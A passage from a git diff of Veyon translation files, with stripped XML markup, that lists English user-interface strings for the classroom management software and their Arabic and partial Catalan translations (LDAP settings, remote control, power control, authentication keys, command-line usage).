exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + عرض على كامل الشاشة + + + Stop demo + + + + Window demo + عرض على نافذة + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + تأكيد أمكانية الوصول لسطح المكتب + + + Never for this session + ليس لهذه الحلقة + + + Always for this session + دائما لهذه الحلقة + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + الاسم + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + واجهة المستخدم + + + Language: + اللغة : + + + Use system language setting + + + + Veyon + + + + Logging + دخول + + + Log file directory + دليل ملف الدخول + + + ... + ... + + + Log level + مستوى الدخول + + + Nothing + لا شيء + + + Only critical messages + فقط الرسائل الحرجة + + + Errors and critical messages + أخطاء ورسائل حرجة + + + Warnings and errors + تحذيرات وأخطاء + + + Information, warnings and errors + المعلومات، والتحذيرات والأخطاء + + + Debug messages and everything else + رسائل الأخطاء وما عداها + + + Limit log file size + تحديد حجم ملف الدخول + + + Clear all log files + مسح كافة ملفات الدخول + + + Log to standard error output + الدخول إلى خرج الاخطاء القياسية + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + مسح ملفات الدخول + + + All log files were cleared successfully. + تمت إزالة جميع ملفات الدخول بنجاح + + + Error + خطأ + + + Could not remove all log files. + تعذرت إزالة كافة ملفات الدخول + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + توثيق + + + Method: + + + + Logon authentication + توثيق الدخول + + + Key file authentication + توثيق ملف المفاتيح + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + عرض المساعدة حول الأمر + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + عام + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + إختبار + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + أدخل اسم المستخدم + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + عرض المساعدة حول الأمر + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + الشاشة الرئيسية + + + toolBar + شريط الأدوات + + + General + عام + + + &File + ‎‏&‏ملف‏‎ + + + &Help + ‏&مساعدة + + + &Quit + ‏&خروج + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + تحميل الاعدادات من الملف + + + Ctrl+O + Ctrl+O + + + About Qt + حول"كيو تي" + + + Authentication impossible + يتعذر التوثيق + + + Configuration not writable + تعيئة غير قابلة للكتابة + + + Load settings from file + تحميل الاعدادات من الملف + + + Save settings to file + حفظ الاعدادات إلى الملف + + + Unsaved settings + إعدادات لم يتم حفظها + + + There are unsaved settings. Quit anyway? + هنالك إعدادات لم يتم حفظها. هل ترغب في الخروج على أي حال؟ + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + حول Veyon + + + Auto + + + + Computer rooms + + + + About + حول + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + حق الوصول ممنوع + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + أدلة + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + واجهة المستخدم + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + إختبار + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + اسم المستخدم + + + Password + كلمة السر + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + يرجى إدخال اسم المستخدم وكلمة المرور من أجل الوصول إلى الحواسيب. + + + + PowerControlFeaturePlugin + + Power on + تشغيل + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + انقر فوق هذا الزر لتشغيل كل الحواسيب. بهذه الطريقة لا تحتاج إلى تشغيل كل حاسوب يدويا. + + + Reboot + إعادة تشغيل الحاسب + + + Click this button to reboot all computers. + انقر على هذا الزر لإعادة تشغيل كافة الحواسيب. + + + Power down + إطفاء + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + إيقاف التشغيل / إعادة تشغيل حاسوب + + + Confirm reboot + تاكيد إعادة التشغيل + + + Confirm power down + تاكيد إيقاف التشغيل + + + Do you really want to reboot the selected computers? + هل تريد حقًا إعادة تشغيل الحاسوب المحدد؟ + + + Do you really want to power down the selected computer? + هل تريد حقًا إيقاف تشغيل الحاسوب المحدد؟ + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + عرض عن بعد + + + Open a remote view for a computer without interaction. + + + + Remote control + تحكم من بُعد + + + Open a remote control window for a computer. + افتح نافذة التحكم عن بعد لحاسوب + + + Remote access + التحكم عن بعد + + + Remote view or control a computer + عرض عن بعد أو التحكم في الحاسوب + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + عرض المساعدة حول الأمر + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + معاينة فقط + + + Remote control + تحكم من بُعد + + + Send shortcut + إرسال اختصار + + + Fullscreen + ملء الشاشة + + + Window + نافذة + + + Quit + خروج + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + قائمة + + + Alt+Ctrl+F1 + + + + Connecting %1 + توصيل 1%‏ + + + Connected. + متصل + + + Screenshot + لقطة شاشة + + + + RoomSelectionDialog + + Room selection + اختيار الغرفة + + + enter search filter... + أدخل مرشح البحث ... + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + الرجاء إدخال برامج أو أوامر لتشغيلها على الحاسوب (الحواسيب) المحددة. يمكنك فصل العديد من البرامج / الأوامر بواسطة سطر. + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + غير معروف + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + لقطة شاشة + + + + ScreenshotFeaturePlugin + + Screenshot + لقطة شاشة + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + عام + + + Autostart + التشغيل آليا + + + Hide tray icon + إخفاء أيقونة الصينية + + + Start service + بدء الخدمة + + + Stopped + توقف + + + Stop service + إيقاف الخدمة + + + State: + بيان:‏ + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + شبكة + + + Demo server port + منفذ خادم العرض + + + Enable firewall exception + تمكين إستثناء الجدار الناري + + + Allow connections from localhost only + السماح بالتوصيل من المضيف المحلي فقط + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + تشغيل + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + إرسال رسالة نصية + + + Use the field below to type your message which will be sent to all selected users. + استخدم الحقل أدناه لطباعة رسالتك التي سيتم ارسالها الى كافة المستخدمين المختارين + + + + TextMessageFeaturePlugin + + Text message + رسالة نصيِّة + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + رسالة من المدرّس + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + تمكين إلتقاط صورة نوافذ طبقية (شبه شفافة)‏ + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + دقة منخفضة (وضعية تيربو)‏ + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + لا يوجد وصول للكتابة + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + تعذر حفظ إعداداتك الشخصية! الرجاء التحقق من مسار ملف ضبط المستخدم باستخدام٪ 1 مكون. + + + + UserSessionControl + + User session control + التحكم في جلسة عمل المستخدم + + + Click this button to logout users from all computers. + انقر على هذا الزر لتسجيل الخروج من المستخدمين من جميع أجهزة الكمبيوتر. + + + Confirm user logout + تأكيد خروج المستخدم + + + Do you really want to logout the selected users? + هل تريد حقا تسجيل الخروج من المستخدمين المحددين؟ + + + Logout + + + + + VeyonCore + + [OK] + [حسنا] + + + [FAIL] + [فشل] + + + Invalid command! + أمر خاطئ! + + + Available commands: + الأوامر المتاحة: + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + نتيجة غير معروفة! + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + انشاء اتصال بـ 1% + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/ca_ES.ts b/translations/ca_ES.ts new file mode 100644 index 0000000..061aac2 --- /dev/null +++ b/translations/ca_ES.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + Quant a + + + Translation + Traducció + + + License + Llicència + + + About Veyon + + + + Contributors + + + + Version: + + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + Comprova + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + Tots els grups + + + ... + ... + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + General + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + Carpeta del fitxer de la clau pública + + + Private key file base directory + Carpeta del fitxer de la clau privada + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Nom + + + Type + Tipus + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + Nom + + + Host address/IP + + + + MAC address + Adreça MAC + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + Tipus + + + Name + Nom + + + Host address + + + + MAC address + Adreça MAC + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 